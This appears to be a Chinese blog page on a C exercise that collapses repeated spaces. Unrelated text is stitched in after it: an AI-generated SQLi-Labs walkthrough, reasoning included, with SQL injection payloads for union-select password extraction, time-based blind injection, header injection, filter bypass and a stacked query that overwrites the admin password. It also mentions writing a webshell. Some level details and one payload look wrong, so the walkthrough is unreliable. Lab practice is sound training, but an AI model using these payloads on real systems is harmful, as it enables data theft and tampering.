练习1-9 多个空格用一个空格代替

本文探讨了使用C语言处理文本中的空格字符的方法。通过不同的程序实现,展示了如何忽略连续空格、限制空格数量及合并空格。这些技巧对于文本处理任务非常实用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

正常程序:在c为空格时,设置一个小开关,开关开时继续下一步显示,开关关闭不显示。

#include <stdio.h>  
    
main()  
{  
  int c;  
  int inspace= 1;  
    
  while((c = getchar()) != EOF)  
  {  
    if(c == ' ')  
    {  
      if(inspace == 1)  
      {  
        inspace = 0;  
        putchar(c);  
      }  
    }  
    else  
    {  
      inspace = 1;  
      putchar(c);  
    }  
  }  
    
 
}  

把c=getchar()挪出来就不正常:

#include <stdio.h>  

main()
{
	int c = getchar();
	int inspace = 0;

	while (c  != EOF)
	{
		if (c == ' ')
		{
			if (inspace == 0)
			{
				inspace = 1;
				putchar(c);
			}
		}
		else
		{
			inspace = 0;
			putchar(c);
		}
	}

	
}


如果将空格数限制为n,n以内的空格不变,大于n的空格数都合并为n个空格:

#include <stdio.h>    

main()
{
	int c;
	int s = 1;
	int i = 0;

	while ((c = getchar()) != EOF)
	{
		if (c == ' ')
		{
			i++;	
			if (i <= 2 && s == 1)
				putchar(c);
			else
			{
				i = 0;
				s = 0;
			}
		}
		else
		{
			s = 1;
			putchar(c);
		}
	}


}

将任意空格合并成n个空格

#include <stdio.h>    

main()
{
	int c;
	int s = 1;
	int i = 0;

	while ((c = getchar()) != EOF)
	{
		if (c == ' ')
		{
		    if (s == 1)
			{
				for (i = 0; i <= 3; i++)
					{
						s = 0;
						putchar(c);
					}
		    }
		}
		else
		{
			s = 1;
			putchar(c);
		}
	}
}


<think>好的,我现在需要帮用户找到SQLiLabs靶场第1到31关的解法或指导。首先,用户的问题是关于SQL注入的实战练习,所以我要先确认自己是否了解SQLiLabs的结构和各关卡的常见解法。 SQLiLabs是一个专门设计来练习SQL注入的平台,通常分为多个关卡,每个关卡有不同的注入点和防御机制。用户需要的是1到31关的攻略,可能包括不同类型的注入方法,比如联合查询、报错注入、布尔盲注、时间盲注等。 接下来,我需要回忆或查找各关卡的大致类型。比如,前几关可能是基于错误的注入,后面的关卡可能涉及更复杂的绕过技巧,如过滤空格、引号,或者需要绕过WAF(Web应用防火墙)。另外,有些关卡可能使用POST请求,而其他的是GET请求,处理方式不同。 然后,考虑到用户可能需要具体的步骤和示例payload,我需要确保提供的解法是实际有效的,并且符合安全测试的规范,比如在合法授权的情况下进行测试。同时,要提醒用户不要将这些技术用于非法用途。 用户可能还需要一些基础知识,比如如何判断注入点、如何确定列数、如何利用union select等。所以,在回答中应该包含这些基本步骤的说明,并给出具体的例子。例如,第一关可能是基于GET的字符型注入,使用单引号闭合,而第二关可能是数字型注入,不需要闭合引号。 另外,需要注意不同数据库(如MySQL)的特有函数和语法,比如注释符--+,concat函数,group_concat,information_schema数据库的结构等。这些知识点在构造payload时会用到,需要详细说明。 可能遇到的问题包括过滤某些关键词,如union、select,或者过滤了空格和引号。这时候需要提供绕过的方法,比如使用内联注释/**/代替空格,或者使用hex编码等。 对于时间盲注和布尔盲注的关卡,需要解释如何通过条件判断和时间延迟来提取数据,并提供示例的payload结构,比如使用if(1=1,sleep(5),0)结合注入点。 最后,考虑到用户可能需要更多的学习资源,应该推荐相关的参考资料或书籍,比如《SQL注入攻击与防御》或者OWASP的指南,以及提到静态分析工具如书中提到的Secure Programming with Static Analysis,但需要确保引用正确。 总结回答的结构,可能需要分为几个部分:基础知识、通用步骤、各关卡类型分类及示例解法、注意事项和资源推荐。需要确保使用正确的LaTeX格式,比如变量和代码用$...$或代码块,同时保持中文回答,结构清晰。</think>### SQLiLabs靶场1-31关解法指南 SQLiLabs靶场是学习SQL注入技术的经典实验环境[^1]。以下是关键步骤和通用解法框架: #### 一、基础知识 1. 注入类型分类: - 字符型:闭合引号如`&#39;`后构造语句 - 数字型:无需引号闭合 - 报错注入:利用`updatexml()`或`extractvalue()` - 盲注:布尔型/时间型 2. 核心函数: - `concat()`:拼接查询结果 - `group_concat()`:合并多行结果 - `substr()`:逐字符提取数据 - `sleep()`:用于时间盲注 #### 二、通用解题步骤 ```sql # 判断注入点(示例) id=1&#39; and &#39;1&#39;=&#39;1 -- 返回正常 id=1&#39; and &#39;1&#39;=&#39;2 -- 返回异常 # 确定列数(示例) order by 3--+ -- 二分法测试列数 # 联合查询注入模板 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ ``` #### 三、关卡分类解法 1. **基础注入(1-10关)** - Level 1(GET-字符型): ```sql ?id=-1&#39; union select 1,@@version,3--+ ``` - Level 4(POST-数字型): ```bash curl -X POST -d "id=-1 union select 1,group_concat(password),3 from users--" ``` 2. **过滤绕过(11-20关)** - Level 15(时间盲注): ```sql admin&#39; AND IF(ASCII(SUBSTR(database(),1,1))>100,sleep(5),0)--+ ``` - Level 19(HTTP头注入): ```http User-Agent: &#39; union select 1,@@version--+ ``` 3. **高级技巧(21-31关)** - Level 25(过滤空格): ```sql ?id=1&#39;/**/union/**/select@version,2,3--+ ``` - Level 28(二次注入): ```sql &#39;; update users set password=&#39;hacked&#39; where user=&#39;admin&#39;;--+ ``` #### 四、注意事项 1. 使用`hex`编码绕过特殊字符过滤 2. 通过`load_file()`读取系统文件时需确认文件权限 3. 利用`outfile`写入webshell需要绝对路径和写权限 #### 五、推荐学习资源 1. 《SQL注入攻击与防御》(第2版)详细讲解注入原理[^1] 2. OWASP SQL注入防御指南 3. SQLMap工具自动化测试
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值